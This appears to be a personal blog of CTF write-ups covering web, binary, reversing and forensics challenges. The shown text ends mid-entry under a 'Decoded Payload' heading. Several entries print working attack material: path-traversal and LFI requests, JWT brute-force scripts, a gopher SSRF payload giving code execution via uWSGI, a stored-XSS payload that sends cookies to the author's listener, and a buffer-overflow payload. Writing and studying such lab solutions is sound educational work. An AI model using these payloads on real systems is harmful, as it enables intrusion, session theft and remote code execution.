Navigate through the library’s file system to uncover a hidden manuscript rumored to contain a powerful secret. Use your skills to explore beyond the intended access points.

Challenge:

This was one of the easier web challenges from the Fall Huddle CTF. It involved a straightforward Local File Inclusion (LFI) vulnerability. The main issue was found in the index.php file, which allowed users to search for books on the server by providing input through the book parameter. The application doesn’t sanitize the input at all. As a result, our input was directly used to construct the file path, which meant we could easily manipulate the book parameter to include arbitrary files from the server. This allowed us to retrieve the flag fairly quick.

Vulnerable Code:

The $book_name is set directly from the $_GET[‘book’] input and is used in the file_exists() and include() functions without proper validation or sanitization.

Index.php:

$book_name = htmlspecialchars($_GET['book']);
$file_path = $book_name;

if (file_exists($file_path)) {
    include($file_path);
}

Solution:

Very simple. Insert LFI payload into the book parameter and retrieve the flag.

Bibliophile has been pwn3d!

dinvoice

Thu, 27 Feb 2025 00:00:00 +0000

Difficulty: Medium

Description:

Our newest web service, “dInvoice”, needs an inspection from you to unveil any critical vulnerabilities it might have that can lead to the compromise of the admin account!

Challenge:

This was one of the more interesting challenges from the Fall Huddle. There were several possible solutions, but we only managed to find two unintended ones. The intended solution, I believe, was to use the Server-Side Cross-Site Scripting (SSXSS) vulnerability to read the JWT secret and forge an admin cookie. Unfortunately, I couldn’t get the SSXSS to achieve this. While I was able to read files within the app directory, that was the limit. The first solution our team discovered was a directory traversal vulnerability in the file path where user markdown files are stored. The second unintended solution exploited how the JWT secret was generated — it was a random integer that could easily be brute-forced.

Vulnerable Code (Path Traversal):

index.js:

The invoice parameter is directly used in the file path without proper validation or sanitization.

router.get('/invoice/markdown/:invoice', AuthMiddleware, (req, res) => {
    const { invoice } = req.params;

    try {
        mdContent = fs.readFileSync(`/app/static/user_files/markdown/${invoice}`).toString();

        return res.json({content: mdContent});
    }
    catch (e) {
        res.send(response('Invoice not found!'));
    }
});

Vulnerable Code (Weak JWT Secret):

entrypoint.sh

The JWT secret is generated using the $RANDOM variable, which produces a predictable 16-bit integer between 0 and 32,767. This makes the secret weak and susceptible to brute force attacks, as the possible values for $RANDOM are limited and can be easily enumerated.

# Generate JWT Secret
export JWT_SECRET=$(echo -n $RANDOM | md5sum | head -c 32)

Solution (Path Traversal):

This one is pretty straight forward. We can use a URL-encoded path traversal payload to retrieve the flag from the root directory.

http://127.0.0.1:1337/invoice/markdown/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2Fflag

And we get the flag:

Solution (Weak JWT Secret):

The second solution involved brute forcing the JWT secret to get a valid Json Web Token for the Admin user. I created a couple scripts to achieve this solution (more like ChatGPT did, i just modified some stuff). We know the JWT SECRET is generated using the $RANDOM variable, meaning there are only 32,768 possible token values.

Part 1: Generated the list of possible JWT secrets. Stored in wordlist: md5_wordlist.txt.

$python3 generateMD5s.py 

import hashlib

# Define the range of $RANDOM values
random_range = range(32768)

# Open the wordlist file to save the MD5 hashes
with open("md5_wordlist.txt", "w") as wordlist_file:
    for rand_value in random_range:
        # Generate MD5 hash for the current $RANDOM value
        md5_hash = hashlib.md5(str(rand_value).encode()).hexdigest()[:32]
        
        # Write the hash to the wordlist
        wordlist_file.write(md5_hash + "\n")

print("MD5 wordlist generated successfully and saved as 'md5_wordlist.txt'.")

Part 2: Generated a list of possible JWTs for the admin using the list of MD5 hashes.

$Python3 generateJWTs.py md5_wordlist.txt

import jwt
import time
import sys

# Function to generate JWT using the given secret
def generate_jwt(secret):
    # JWT payload with 'admin' and current time (iat)
    payload = {
        'username': 'admin',
        'iat': int(time.time())  # Current time as iat claim
    }
    # Generate the JWT using HS256 algorithm
    return jwt.encode(payload, secret, algorithm='HS256')

# Check if the wordlist file was provided
if len(sys.argv) != 2:
    print("Usage: python generate_jwt_wordlist.py <md5_wordlist>")
    sys.exit(1)

# Open the MD5 wordlist (hashes)
wordlist_file = sys.argv[1]
jwt_wordlist = "jwt_wordlist.txt"

# Open the new JWT wordlist file for writing
with open(jwt_wordlist, "w") as jwt_file:
    with open(wordlist_file, "r") as hashes_file:
        for secret in hashes_file:
            secret = secret.strip()  # Remove any trailing newlines
            jwt_token = generate_jwt(secret)
            # Write the generated JWT to the new wordlist
            jwt_file.write(jwt_token + "\n")

print(f"JWT wordlist generated and saved as '{jwt_wordlist}'.")

Part 3: Fuzz for the valid JWT using FFUF.

Notice were fuzzing the dashbaord endpoint here because it will just redirect us to the admin panel if admin==true.

ffuf -w jwt_wordlist.txt -u http://127.0.0.1:1337/dashboard -H "Cookie: connect.sid=s%3AWUS4k4gfRYeSPmCM82JmtZJ-MpKfaCMl.O2yTw8lEsoyTVqQlgtPhqSsYW%2FFZvWz3nJvSLMg8FJE; session=FUZZ" -mc all -fs 29

With that JWT, I was able to login as an admin and obtain the flag:

Dinvoice has been pwn3d!

Game Capsule

Thu, 27 Feb 2025 00:00:00 +0000

Difficulty: Easy

Description:

A popular game-selling app is secretly offering a blacklisted, highly coveted game hidden from public view. Your mission is to hack into the app’s backend, bypass its security, and uncover the hidden game to add it to your collection. Can you outsmart the system and get the forbidden game in your hands?

Challenge:

This was a very easy web challenge. The application uses the username value in the JWT to determine when the flag renders on the index page. It renders the page differently depending on the username inside the JWT. So, I was able to forge a JWT for any user, in this case the “admin” user, and retrieve the flag.

Vulnerable Code:

Inside the AuthMiddleWare file there are two functions, the setcookie and the getcookie function. The getcookie function checks if the incoming request has a cookie, if not the setcookie function generates one with a randomly generated username, such as “guest_ewiufhu4h98hf”. It then signs the cookie.

AuthMiddleWare.js file:

The routes file gets the cookie from the AuthMiddleWare and checks the value of the “username”, if it is equal to admin it reads the flag from /flag.txt and renders it on the index.html page, if the value is anything else, it just loads the index.html page without the flag.

Routes.js file:

Solution:

After landing on the application, we notice there isn’t much in terms of functionality. Just a static page. So, with that, one of the first things I checked, was the esistence of a cookie using the developer tools. An sure enough there was a JWT sitting in my storage.

I copied the JWT and pasted it into JWT.io (a JWT debugger) to analyze it. The username is defined in the cookie. I tried changing mine from guest_088u98u3498u89 to “admin” to see if the application would render the home page differently.

After copying the newly forged JWT, I pasted it into the storage and refreshed the page:

Game Capsule has been pwn3d!

IOI SaveData

Thu, 27 Feb 2025 00:00:00 +0000

Difficulty: Hard

Description:

To help Art3mis escape from the IOI loyalty center, Parzival and Aech need to hack into Sorrento’s computer. They have discovered that IOI developed an exploit that lets them arbitrarily change the OASIS profile data of individual players. Sorrento has left the web interface for that profile editor exposed in his home network. Can you take a look and see if you can get inside?

Challenge:

This was the hardest web challenge of the CTF. It involved SSRF in a uWSGI application that allowed us to achieve RCE by interacting with the internal socket. I personally went down several rabbit holes during this challenge, attempting to exploit path traversal or achieve RCE by updating the profile name. I tried updating a profile to a uWSGI config file with an exec directive and conditional directive, hoping it would execute our when another profile was updated. The full exploit chain can be found here

Vulnerable Code:

The scheme validation is flawed because it uses a filter function improperly, allowing invalid schemes like ftp, file, gopher or no protocol to bypass the check. Additionally, the domain check only restricts the domain to a specific value, leaving other internal domains/ips open.

/app/util.py file:

 def get_profile(url):
    domain = urlparse(url).hostname
    scheme = urlparse(url).scheme

    if not filter(lambda x: scheme in x, ('http',' https')):
        return f'Scheme {scheme} is not allowed'

    elif domain and not domain == 'ioi-corp.local':
        return f'Domain {domain} is not allowed'

    try:
        jsonData = json.loads(request(url))
        return jsonData
    except:
        return 'Not a valid save data file'

The port that uwsgi is listening on is port 5000, as seen below in the configuration file:

[uwsgi]
module = wsgi:app

socket = 127.0.0.1:5000
socket = /tmp/uwsgi.sock

chown-socket = www-data:www-data
chmod-socket = 664

Solution

Part 1: Create the python payload and insert it into one of the profiles:

import os
os.system("/readflag > /app/profiles/IOI-655323.json")

Part 2: Execute SSRF payload via the import profile route

gopher:///127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/IOI-655321.json%0B%00SCRIPT_NAME%10%00/IOI-655321.json

Payload Breakdown:

Using the Gopher protocol through the SSRF, we can interact with uWSGI on its internal port (5000). Basically, if we can get Python code inside a file (we can, the JSON file) we can use our control over uwsgi to load/execute it. We can interact with uwsgi using magic variables. More on this can be found in the uwsgi docs here.
After hitting import, it will say “Not a valid save data file”, but if we load the profile that we sent the flag.. we see it actually worked!

The Flag:

IoI Savedata has been pwn3d!

Notesy

Thu, 27 Feb 2025 00:00:00 +0000

Difficulty: Hard

Description:

You’ve been hired by a tech company to review their new note-taking app, “Notesy.” The app allows users to create and manage notes with a focus on security. Your role is to assess the application for any potential vulnerabilities to ensure user data is well protected.

Challenge:

This one was particulary easy. It’s a basic stored XSS vulnerability that we exploit to steal the admin’s cookie, which contains the flag. Payloads with single or double quotes are blocked, but we can bypass this by HTML encoding the quotes. Another minor issue we encountered was with using fetch(), but we worked around it by using an image request instead.

Vulnerable Code:

/app.py file:

The is_safe_content() function only checks for single (‘) and double (“) quotes, but this is an insufficient filter, which we are able to bypass.

if re.search(r'[\'"]', decoded_content, re.IGNORECASE):
    return False

Solution

When navigating the application, we see that we can create notes and submit reports. The title and content parameters accept user input but only sanitize single and double quotes, making it trivial to get XSS payloads to execute. When we create a note, it is assigned a unique identifier. This is where the report feature becomes useful — we can submit these note URLs to the admin (bot) for “review”. Looking at the source code, we notice that the flag is stored in the admin’s cookie. Now, we just need to craft a payload that sends the cookie to our server. While fetch() didn’t work, I switched to using an image request instead. This worked when I tested it with my own cookie.

Payload:

<img src=x onerror=this.src=String.fromCharCode(104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,54,50,46,49,56,51,58,49,50,51,52)+&quot;/?cookie=&quot;+document.cookie>

Finally, I set up a Python server and submitted the note with the XSS payload to the admin. A few seconds later, I received the admin’s cookie containing the flag.

The Flag:

Notesy has been pwn3d!

P.H.P.

Thu, 27 Feb 2025 00:00:00 +0000

Difficulty: Easy

Description:

You are tasked to fetch critical potato intelligence by abusing P.H.P, a system designed to securely monitor potato farm info.

Challenge:

Another straightforward web challenge from the Fall Huddle. The application has a Local File Inclusion (LFI) vulnerability in the id parameter. User input directly determines which file gets included in the response, such as 1.php, 2.php, etc. The application defaults to the “php” extension, but since there’s no validation, we can override it by adding the ext parameter to our request. This allows us to include sensitive files like flag.txt in the server response. To take things a step further, I also demonstrate gaining Remote Code Execution (RCE) by exploiting log poisoning, because, when possible, I like to get a shell!

Vulnerable Code:

In the potato method, user-controlled input (id and ext parameters from the query string) are directly used to construct the file path for inclusion. Since no validation or sanitization is applied, we can manipulate these parameters (e.g., with ../../../etc/passwd as the id and txt and the ext) to include arbitrary files on the server.

IndexController.php file:

<?php

class IndexController
{
    public function index($router)
    {
        $directory = __DIR__."/../views/potatoes";
        $filesAndDirs = scandir($directory);
        $filenames = [];

        foreach ($filesAndDirs as $file) {
            $fileInfo = pathinfo($file);

            if (!is_dir($directory."/".$file)) {
                $filenames[] = $fileInfo["filename"];
            }
        }

        $router->view("index", ["filenames" => $filenames]);
    }

    public function potato($router)
    {
        $id = isset($_GET["id"]) ? $_GET["id"] : "1";
        $ext = isset($_GET["ext"]) ? $_GET["ext"] : "php";
        include __DIR__."/../views/potatoes/".$id.".".$ext;
        exit;
    }
}

Solution:

Once we navigate to the application using our browser, we see three potatos. Each of them gets loaded using the ID parameter.

At first, I couldn’t include any files beyond the default ones provided by the application. I suspected something in the way the id parameter was being handled, so I checked the source code. A quick look at the index controller revealed why I couldn’t get other files to load. There was another hidden paramter “ext”, which was set as ‘php’ by default. I realized that by manually adding the ext parameter to the URL, I could specify any file extension. Sure enough, after including the ext parameter, I was able to access other files, including the flag:

RCE via Log Poisoning:

After grabbing the flag, I decided to take it a step further and try to get a shell. Since there was an LFI vulnerability, I realized that log poisoning would be a simple way to escalate this to remote code execution. I verified I could include the nginx access.log file. I then captured a request to the server, modified the User-Agent header to contain a PHP reverse shell, and forwarded the request.

With a netcat listener set up on port 1234, I was able to establish a shell connection.

P.H.P. has been pwn3d!

Graverobber

Fri, 28 Feb 2025 00:00:00 +0000

rosehacks@pwny$ cat graverobber.txt
The binary provided for the challenge is a simple program that checks whether a 
certain "path" (or string) exists using the stat() function. If the path does not
exist, it prints an error message. However, if the check succeeds, the program 
prints a message saying "We found the treasure!", indicating the end of the program.

Can you read this: ?–>?

Analyzing the Binary with Ghidra

After loading the binary into Ghidra, I started by looking at the main function to understand its logic.

The program initializes an array (local_58) to store a string, potentially the flag.
A loop runs 32 times (0x1f in hex is 31 in decimal), constructing the string from a memory location (parts).
After constructing a part of the string, the program calls stat() to check if the constructed string exists. If the check fails, the program prints “We took a wrong turning!” and exits.
If the loop completes successfully, the program prints “We found the treasure!”.

It’s obvious the flag is being stored in local_58 as part of the string constructed in the loop.

Bypassing the stat() Check

The stat() call was critical because it was stopping us from reaching the part of the program that prints the treasure message. We needed to bypass the stat() check to let the program continue building the string.

Here’s the relevant section from the assembly in Ghidra:


00101216 85 c0           TEST       EAX,EAX            # Test return value of stat()
00101218 74 16           JZ         LAB_00101230       # Jump if stat() returns 0 (success)
0010121a 48 8d 05        LEA        RAX,[s_We_took_a_wrong_turning!_00102008]

The program uses TEST EAX, EAX to check the return value of stat().
JZ (Jump if Zero) ensures that if stat() succeeds, the program continues. Otherwise, it prints the failure message.

To bypass this check, I changed the JZ (0x74) to an unconditional jump (JMP, 0xEB) in Ghidra.

After modifying the jump instruction, the program no longer checks stat() and always proceeds as if the check succeeded, allowing us to reach the “We found the treasure!” message.

Using GDB to Retrieve the Flag

After modifying and saving the binary, I loaded it into GDB to extract the flag. Here’s how I did it:


// Set a Breakpoint at puts: Since puts is used to print messages, I set a breakpoint at puts to catch the program when it prints either the treasure message or other output.
(gdb) b puts
// Run the Program: I then ran the program in GDB, and it hit the breakpoint when it reached the "We found the treasure!" message.
(gdb) run
// Examine the Registers: To find the flag, I inspected the contents of the registers. The RAX register contained the treasure message, but RSI (another register) held the actual flag data.
(gdb) x/s $rax  # Check the RAX register (treasure message)
(gdb) x/s $rsi  # Check the RSI register (flag data)
0x7fffffffdc80: "H/T/B/{/b/r/3/4/k/1/n/9/_/d/0/w/n/_/t/h/3/_/s/y/s/c/4/l/l/5/}/"

Grave Robber has been pwn3d!

Cursed Stale Policy

Fri, 28 Feb 2025 00:00:00 +0000

rosehacks@pwny$ cat CSP.txt
This challenge took some time to understand, but its setup is actually quite straightforward, 
as almost everything is provided: the payload, the Content Security Policy (CSP) header with 
the nonce we need to use to trigger the XSS, and even pre-captured requests. So, no actual 
callback server is needed. The flag is located in the admin’s cookie. The only trick here is 
that we need to include the nonce from the CSP in our payload; otherwise, it wouldn’t work.

In this scenario, the CSP header is in place to restrict which scripts the browser will execute, and only those scripts with the correct nonce value are permitted. By including the nonce in our payload, we effectively “whitelist” our injected script, bypassing the CSP and allowing our XSS to execute successfully. This enabled us to capture the flag from the admin’s cookie.

The Flag

After adjusting our payload to include the nonce from the CSP, we successfully executed our XSS payload, which sent the admin’s cookie to the /callback endpoint. Checking the requests log further down the page revealed the results of our XSS payload and contained the admin’s cookie, which contained the flag.

CSP has been pwn3d!

El Mundo

Sat, 01 Mar 2025 00:00:00 +0000

rosehacks@pwny$ cat el_mundo.txt
Exploit a buffer overflow vulnerability to call the hidden function read_flag()
and reveal the flag.

Initial Analysis

This binary challenge presented us with a program vulnerable to buffer overflow, where we could overwrite the return address to point to a specific function in memory. The goal was to use the overflow to redirect program execution to read_flag() and print the flag.

Solution

Initial Analysis with GDB: Using gdb, I loaded the program and set a breakpoint at main() to observe the stack layout after function setup. This revealed:
- A buffer allocated at the start of the stack.
- A saved rbp address 56 bytes above the buffer start.
- A return address 8 bytes above the saved rbp.

Stack frame layout:

| Higher addresses  |
| Return address    | <- 64 bytes above buffer start
| Saved RBP         | <- 56 bytes above buffer start
| Buffer (vulnerable) |
| Lower addresses   |

Finding read_flag Address: The disassembled code showed that read_flag() was located at 0x4016b7. This address became our target for overwriting the return address, so we could redirect the program flow directly to read_flag().
Payload Construction: To craft the exploit:
- Buffer Overflow: I needed 56 bytes to reach the saved rbp, which we could fill with junk data.
- Return Address Overwrite: The next 8 bytes would hold the address of read_flag(), redirecting the execution there upon function return.

Using Python, I constructed a payload:

import struct
		
# Offset and address
buffer_size = 56
read_flag_address = 0x4016b7  # Address of `read_flag`
		
# Construct payload
payload = b"A" * buffer_size + struct.pack("<Q", read_flag_address)
		
# Write payload to a binary file
with open("payload.bin", "wb") as f:
f.write(payload)

Here, struct.pack(“<Q”, read_flag_address) packed the read_flag() address as a 64-bit little-endian value, ready for injection into the stack.

Exploiting the Program: With payload.bin created, I could redirect the program’s input to this binary file:

cat payload.bin | ./el_mundo

Running this executed the buffer overflow, overwrote the return address with read_flag()’s address, and the program executed read_flag() as intended.

Flag Output: The program, redirected to read_flag(), printed the flag directly to the screen!

Summary

In this buffer overflow challenge, everything was pretty much given to us, which allowed us to identify and overwrite the saved return address, redirecting execution to read_flag(). This solution highlights: • Stack manipulation to overwrite return addresses. • Payload crafting with Python to inject precise binary data.

El Mundo has been pwn3d!

El Pipo

Sat, 01 Mar 2025 00:00:00 +0000

rosehacks@pwny$ cat el_pipo.txt
Super simple buffer overflow. Inserting more than a few charcaters, results 
in the flag being read and printed.

Initial Analysis

Downloaded the binary for initial analysis. After running the program and inputting a string of around 20 characters, I noticed that the input caused a buffer overflow, leading to a stack overflow which printed out the flag.

El Pipo has been pwn3d!

WayWitch

Sat, 01 Mar 2025 00:00:00 +0000

rosehacks@pwny$ cat binary_basis.txt
The solution for this challenge turned out to be surprisingly easy! Ironically, I 
spent the most time on it because I was overthinking and making it harder than necessary. 
Initially, I tried every JWT vulnerability trick I knew, especially since I couldn’t find 
anything unusual in the code. The SECRET in utils.py was redacted, leading me to believe 
that I needed to brute force it, or that there might be a deeper exploit to uncover...

The Application

The Solution

From the code review, we identified that the /tickets endpoint performs a SQL query that retrieves all submitted tickets, including one from the admin containing the flag. Our objective was to access /tickets, but there was an obstacle: the endpoint verifies the username parameter in the JWT payload, and it checks that the token’s signature matches with the server’s JWT secret.

Initially, we thought we didn’t have this secret, so we explored other avenues. However, in the only code file we hadn’t examined closely—index.html—we found the JWT secret embedded within a script tag. This meant we could now forge a JWT with username: admin, sign it using the discovered secret, and access the /tickets endpoint as the admin.

const secretKey = await crypto.subtle.importKey(	
	"raw",
	new TextEncoder().encode("halloween-secret"),
	{ name: "HMAC", hash: "SHA-256" },
	false,
	["sign"],
	);

Generate JWT Script

import jwt

# Define the secret key we found in the source code
secret_key = "halloween-secret"

# Define the payload, which includes setting the username to "admin"
payload = {
    "username": "admin",
    "iat": 1729902153  # This is just an example; you can set the timestamp to the current time if needed.
}

# Create the JWT with the HS256 algorithm
token = jwt.encode(payload, secret_key, algorithm="HS256")

print("Generated JWT for admin:", token)

After generating the admin JWT, I entered it into the cookie storage and refreshed the tickets page, witch revealed the flag!

Waywitch has been pwn3d!

LinkHands

Sun, 02 Mar 2025 00:00:00 +0000

rosehacks@pwny$ cat linkhands.txt
We were tasked with uncovering a flag hidden in memory within a CTF challenge. 
The primary obstacle was that the program asked for two memory addresses and 
allowed us to overwrite one with the other—this type of vulnerability is known
as an arbitrary write. By exploiting this, we could manipulate memory pointers 
and trick the program into revealing the flag.

What we did:

rosehacks@pwny$ cat solution.txt
* Use an arbitrary write vulnerability to modify a pointer in the program's memory.
* Make the program read hidden memory locations and reveal the entire flag.

Can you read this: ?–>?

Weakness

The program presented us with the following prompt:

The cultists look expectantly to you - who will you link hands with? 0x0021 0x0022

This input prompt was directly tied to the arbitrary write vulnerability, where we could provide two memory addresses, and the program would overwrite one with the other.Here’s the core code that allowed this:

iVar1 = __isoc99_sscanf(local_58, "%p %p", &local_68, &local_60);
if (iVar1 == 2) {
    *local_68 = local_60;  // Arbitrary write: overwrites value at local_68 with local_60
}

Explanation:

The program reads two pointers (local_68 and local_60) from user input. If both pointers are valid, it writes the value of local_60 to the memory location at local_68. This is an arbitrary write vulnerability, meaning we can control which memory locations are modified.

First Attempt: Access The Flag’s Starting Point

Our first step was to identify where the flag was stored. We started by analyzing the memory structure of the program and pointing the vulnerable pointer to a known address in the .data section. The key was manipulating the pointer PTR_PTR_00404190, which controlled the program’s memory reads during the output process. This pointer was used in a loop to traverse memory and print characters:

ppuVar4 = &PTR_PTR_00404190;
do {
    putchar((int)*(char *)(ppuVar4 + 1));  // Print characters
    ppuVar4 = (undefined **)*ppuVar4;     // Move to the next pointer
} while (ppuVar4 != (undefined **)0x0);  // Stop when a NULL pointer is reached

We realized that by controlling PTR_PTR_00404190, we could decide where the program started printing from. We pointed it at a likely address in the .data section (0x404040), and this yielded the first part of the flag: H. However, this only printed the first character, which told us that the flag was likely stored contiguously in memory—but not fully read in our initial attempts.

Traversing Memory with Arbitrary Writes

By using the arbitrary write vulnerability, we could continuously modify the memory pointer to read further into memory, revealing more characters of the flag. We tried various memory addresses in sequence, inching our way through memory. For example:

Address: 0x404040 gave us H.
Address: 0x40403f, 0x40403e, and others allowed us to reveal the middle and final parts of the flag.

With each attempt, we revealed more of the flag, one piece at a time:

First character: H
Last portion: 41n_0e343f537ebc}

The Full Flag

After inspecting different addresses using Ghidra and analyzing how memory was laid out in the .data section, we realized that the flag was spread across multiple addresses. We iteratively used our arbitrary write to print out pieces of memory, stitching together the full flag. By controlling the pointer traversal, we were able to reveal: • The first character (H) • Middle parts of the flag that were hidden in nearby memory • And finally, the closing characters (41n_0e343f537ebc}) After piecing together all the parts, we revealed the full flag.

Tools and Techniques for Future Reference

Ghidra for Memory Analysis We used Ghidra to examine the .data section and identify potential addresses where the flag might be stored. This allowed us to focus our memory exploration efforts on the right addresses.
Arbitrary Write Exploitation The arbitrary write allowed us to modify critical memory pointers. By pointing PTR_PTR_00404190 to specific memory addresses, we could read out hidden data from memory—revealing parts of the flag that were otherwise inaccessible.
Manual Memory Exploration By systematically changing memory addresses during the pointer manipulation process, we were able to extract the flag piece by piece. This method required trial and error, but each attempt revealed new pieces of the puzzle.

LinkHands has been pwn3d!

Terrorfryer

Mon, 03 Mar 2025 00:00:00 +0000

rosehacks@pwny$ cat terrorfryer.txt
In this reverse-engineering challenge, we encountered a binary executable that 
scrambled a given input string using an internal function, fryer. Our goal was 
to reverse this scrambling algorithm and retrieve the original flag.

Can you read this ?->?

Challenge Description:

The scrambled flag was given as:

1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3

After decompiling the binary in Ghidra and looking at the available functions, it became clear that we needed to analyze the binary’s fryer function, replicate its logic, and apply the reverse operations to recover the correct flag format.

Analyzing The Fryer Function (Scrambler)

The fryer function was a scrambling algorithm written in C. It modified the input string in-place, using a sequence of swaps determined by rand_r, seeded with a static value:

void fryer(char *param_1) {
  unsigned int seed = 0x13377331;
  size_t length = strlen(param_1);
  
  for (size_t i = 0; i < length - 1; i++) {
    int rand_index = rand_r(&seed) % (length - i) + i;
    // Swap param_1[i] and param_1[rand_index]
    char temp = param_1[i];
    param_1[i] = param_1[rand_index];
    param_1[rand_index] = temp;
  }
}

How fryer Works:

rand_r generates a random number using the provided seed (0x13377331).
For each character in the string, it computes a rand_index to determine which character to swap with.
This process repeats for the entire length of the string, creating a scrambled version of the input string.

Reversing The Scramble in C

After several attempts with Python, we recognized that matching rand_r exactly was tricky. We decided to use C to replicate the scrambling and reverse it:

Track Each Swap: During the scrambling, each swap was recorded with the exact indices that were swapped.
Apply Swaps in Reverse: To unscramble, we simply applied each recorded swap in reverse order. By reversing each swap in this way, we effectively reversed the scramble process, recovering the original flag.

Final Solution

Our final solution was a C program that correctly implemented both the scramble and unscramble functions, relying on C’s rand_r for precise consistency:


#include 
#include 
#include 
#define SEED 0x13377331
void scramble(char *str) {
    unsigned int seed = SEED;
    size_t len = strlen(str);
    for (size_t i = 0; i < len - 1; i++) {
        int rand_index = rand_r(&seed) % (len - i) + i;
        char temp = str[i];
        str[i] = str[rand_index];
        str[rand_index] = temp;
    }
}
void unscramble(char *str) {
    unsigned int seed = SEED;
    size_t len = strlen(str);
    int swaps[len - 1][2];
for (size_t i = 0; i < len - 1; i++) {
        int rand_index = rand_r(&seed) % (len - i) + i;
        swaps[i][0] = i;
        swaps[i][1] = rand_index;
    }
for (int i = len - 2; i >= 0; i--) {
        int index1 = swaps[i][0];
        int index2 = swaps[i][1];
        char temp = str[index1];
        str[index1] = str[index2];
        str[index2] = temp;
    }
}
int main() {
    char scrambled_flag[] = "1_n3}f3br9Ty{_6_rHnf01fg_14rlbtB60tuarun0c_tr1y3";
    
    printf("Scrambled flag: %s\n", scrambled_flag);
    
    unscramble(scrambled_flag);
    
    printf("Unscrambled flag: %s\n", scrambled_flag);
    
    return 0;
}</code></pre>

##### Compile and Run: 

gcc -o reverse_fryer reverse_fryer.c
./reverse_fryer


  This revealed the correct flag in its original, unscrambled form.



    Terrorfryer has been pwn3d!

Foggy Intrusion

Tue, 04 Mar 2025 00:00:00 +0000

rosehacks@pwny$ cat foggy_intrusion.txt
In this forensic analysis, we’re tasked with unraveling the traces of an
attack that took place on some local servers. We are given a /logs directory.
Inside the directory is a capture of all the event viewer logs. Our foal is 
to discover what the attackers have done and recover the flag.

Analyzing the Logs in Event Viewer

When conducting forensic analysis, there’s often a recommended order or priority of logs to examine. Starting with critical files can streamline the investigation and help identify the attack timeline faster. Some of the more important .evtx files to review first include:

Security.evtx: Provides essential logs related to login attempts, privilege escalations, and any account or group changes, making it critical for tracing unauthorized access.
Microsoft-Windows-PowerShell_Operational.evtx: This log is especially valuable if the attacker’s TTPs (Tactics, Techniques, and Procedures) include PowerShell, as it may contain specific commands they executed.
Microsoft-Windows-Sysmon/Operational.evtx: Sysmon logs track detailed process creation, network connections, and file modifications, which can be instrumental in identifying suspicious behaviors.
Microsoft-Windows-TaskScheduler_Operational.evtx: Task Scheduler logs help spot unusual or unauthorized tasks that may have been created to maintain persistence.
Microsoft-Windows-TerminalServices-LocalSessionManager.evtx: Useful for tracking Remote Desktop Protocol (RDP) connections, which can reveal unauthorized access.

Extracting the flag

There were two parts to the flag in this challenge. Both parts were found within the PowerShell Operational logs, Which I happened to start my analysis with. Starting from the earlisted event of th log I began working my way up, looking for suspicious activities. I eventually stumbled upon an event where a PowerShell script was running a base64 encoded command. Decoding the command revealed the first part of the flag.

Part 1:

Continuing from there, I kept going through the PowerShell logs until I found another base64 encoded value in a PowerShell script. Decoding the value revealed the second part of the flag!

Part 2:

Foggy Intrusion has been pwn3d!

Ghostly Persistence

Tue, 04 Mar 2025 00:00:00 +0000

rosehacks@pwny$ cat binary_basis.txt
In this easy forensic analysis, we’re tasked with unraveling the traces of an attack that 
took place under the cover of darkness on a "secure" web server. The challenge brief sets 
the scene: an intruder leveraged vulnerabilities in the system to manipulate restricted areas. 
Our mission? Use the captured .pcap file to piece together the details of this nocturnal 
breach and, ultimately, recover the elusive flag.
rosehacks@pwny$ cat description.txt
On a quiet Halloween night, when the world outside was wrapped in shadows, an intrusion alert 
pierced through the calm. The alert, triggered by an internal monitoring system, pinpointed 
unusual activity on a specific workstation. Can you illuminate the darkness and uncover what 
happened during this intrusion? Note: flag is split into two parts.

Analyzing the Capture File with Wireshark

To begin, we load the .pcap file into Wireshark, quickly noticing repeated POST requests. Several of these POST requests appeared suspicious—especially those with parameters hinting at risky PHP directives such as allow_url_include and auto_prepend_file. These directives are commonly abused to enable remote file inclusion, leading us to suspect that the attacker used them to execute arbitrary PHP code on the server.

Initial Observation of HTTP Traffic

Using Wireshark and HTTP filters, we extracted and examined all HTTP requests, focusing on repeated attempts to interact with PHP files using unusual HTTP headers and payloads. Here’s a breakdown of the key requests: • Suspicious GET and POST Requests: The attacker tries accessing endpoints like /+CSCOT+/translation-table and other sensitive file paths. • Code Execution with PHP Directives: POST requests were particularly concerning as they included: ○ allow_url_include=1 ○ auto_prepend_file=php://input These headers suggest the attacker may have tried to leverage Remote Code Execution (RCE) through PHP code injection.

Decoding The Payloads

There were only a few POST requests throughout the PCAP, which seemed successful. Upon isolating one such POST request, we noticed that the payload encoded a command in Base64. The command was then decoded and executed on the target server. Here’s an example of one of these encoded payloads:

Endoced payload

php echo shell_exec(base64_decode('cG93ZXJzaGVsbC5leGUgLUMgIiRvdXRwdXQgPSB3aG9hbWk7ICRieXRlcyA9IFtUZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkb3V0cHV0KTsgJGNvbXByZXNzZWRTdHJlYW0gPSBbU3lzdGVtLklPLk1lbW9yeVN0cmVhbV06Om5ldygpOyAkY29tcHJlc3NvciA9IFtTeXN0ZW0uSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkY29tcHJlc3NlZFN0cmVhbSwgW1N5c3RlbS5JTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpDb21wcmVzcyk7ICRjb21wcmVzc29yLldyaXRlKCRieXRlcywgMCwgJGJ5dGVzLkxlbmd0aCk7ICRjb21wcmVzc29yLkNsb3NlKCk7ICRjb21wcmVzc2VkQnl0ZXMgPSAkY29tcHJlc3NlZFN0cmVhbS5Ub0FycmF5KCk7IFtDb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoJGNvbXByZXNzZWRCeXRlcyki'));
?>

Decoded Payload

